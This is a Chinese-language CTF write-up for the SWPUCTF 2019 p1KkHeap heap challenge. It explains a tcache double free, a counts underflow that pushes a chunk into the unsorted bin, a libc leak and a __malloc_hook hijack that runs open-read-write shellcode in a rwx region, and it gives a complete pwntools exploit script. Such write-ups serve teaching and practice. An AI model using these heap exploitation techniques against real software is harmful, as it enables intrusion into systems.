SWPUCTF_2019_p1KkHeap

checksec:

ubuntu18,存在tcache机制

main:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  sub_B0A();
  puts("                           Welcome to SWPUCTF 2019");
  while ( count > 0 )
  {
    sub_10C5();
    v3 = sub_1076();
    if ( v3 == 3 )
    {
      sub_EC1();
    }
    else if ( v3 > 3 )
    {
      if ( v3 == 5 )
        sub_E04();
      if ( v3 < 5 )
      {
        dele();
      }
      else if ( v3 == 666 )
      {
        puts("p1Kk wants a boyfriend!");
      }
    }
    else if ( v3 == 1 )
    {
      add();
    }
    else if ( v3 == 2 )
    {
      show();
    }
    --count;
  }
  sub_E04();
}

add:

int add()
{
  signed int v1; // [rsp+4h] [rbp-Ch]
  size_t size; // [rsp+8h] [rbp-8h]

  printf("size: ");
  size = sub_1076();
  if ( size > 0x100 )
    sub_E04();
  v1 = sub_DA9();
  if ( v1 <= 7 )
  {
    qword_202100[v1] = malloc(size);
    dword_2020E0[v1] = size;
  }
  return puts("Done!");
}

dele:

int dele()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  if ( dword_202020 <= 0 )
    sub_E04();
  printf("id: ");
  v1 = sub_1076();
  if ( v1 > 7 )
    sub_E04();
  free((void *)qword_202100[v1]);
  dword_2020E0[v1] = 0;
  --dword_202020;
  return puts("Done!");
}

show:

int show()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("id: ");
  v1 = sub_1076();
  if ( v1 > 7 )
    sub_E04();
  printf("content: ");
  puts((const char *)qword_202100[v1]);
  return puts("Done!");
}

dele函数存在double free,申请堆块大小不能超过0x100。这样的大小释放之后是不能进unsorted bin泄露libc的,

tcache中还能通过多次free来使堆块进入unsortedbin,但我们只能free三次。两种方法都行不通

B0A函数是沙箱,并且在0x66660000位置开辟了一块rwx内存

根据seccomp-tool工具的结果来看,execve被禁了

既然存在rwx区域,我们就能尝试写shellcode利用orw读flag

 

如果对tcache有所了解应该知道,tcache bin表头一般位于申请的第一个堆块的前面

如下图

该地址指向下一次malloc时分配的tcache块地址

 

tcache_perthread_struct结构体中有两个字段 ,第一个字段counts记录对应Tcache的bin中现有的bin数量, 第二个字段entries用来具体指向相应bin中的chunk块(也就是上图标记的位置)。利用double free能让tcache的fd指向自己,形成一个循环。继续申请堆块就会使counts变成负数而counts是一个有符号数组。转换成无符号就是一个很大的值,这样一来,我们下一个free的unsortedbin 范围的chunk就能进入unsorted bin

思路:首先利用double free使tcache指向自己,顺便show一下堆的地址计算距entries的偏移。此时的counts为2,我们add三个一样大小的堆后再dele就能进unsorted bin。在add三个堆的时候可同时完成对entries的修改。将其指向rwx区域,写入shellcode。然后再劫持__malloc_hook,将其改为rwx。最后add就能得到flag。

exp:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context(arch='amd64',log_level='debug')
#a=remote("node3.buuoj.cn",26839)
#g=gdb.debug("/root/ciscn")
a=process("/root/swpuctf")
elf=ELF("/root/ciscn")
libc=ELF("libc-2.27.so")
def add(size):
a.recvuntil('Choice:')
a.sendline('1')
a.recvuntil('size:')
a.sendline(str(size))
def show(idx):
a.recvuntil('Choice:')
a.sendline('2')
a.recvuntil('id:')
a.sendline(str(idx))
def dele(idx):
a.recvuntil('Choice:')
a.sendline('4')
a.recvuntil('id:')
a.sendline(str(idx))
def edit(idx,data):
a.recvuntil('Choice:')
a.sendline('3')
a.recvuntil('id:')
a.sendline(str(idx))
a.recvuntil('content:')
a.send(data)
rwx=0x66660000
#show tcache_head addr
add(0x100) #idx 0
add(0x100) #idx 1
dele(1)
dele(1)

show(1)
a.recvuntil('content: ')
tcache=u64(a.recv(6).ljust(8,'\x00'))-0x110-0x198
print hex(tcache)

add(0x100) #idx 2
edit(2,p64(tcache))
add(0x100) #idx 3
add(0x100) #idx 4
edit(4,p64(rwx))
add(0x100) #idx 5

dele(0)
show(0)
libc_addr=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
malloc_hook=libc_addr+libc.sym['__malloc_hook']
print hex(libc_addr)

shellcode=shellcraft.amd64.open('flag')
shellcode+=shellcraft.amd64.read(3,rwx+0x100,64)
shellcode+=shellcraft.amd64.write(1,rwx+0x100,64)
shellcode=asm(shellcode)
edit(5,shellcode)

edit(4,p64(malloc_hook))
add(0x100) #idx 6
edit(6,p64(rwx))
add(0x100)
#gdb.attach(a)
a.interactive()
点赞

发表评论

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像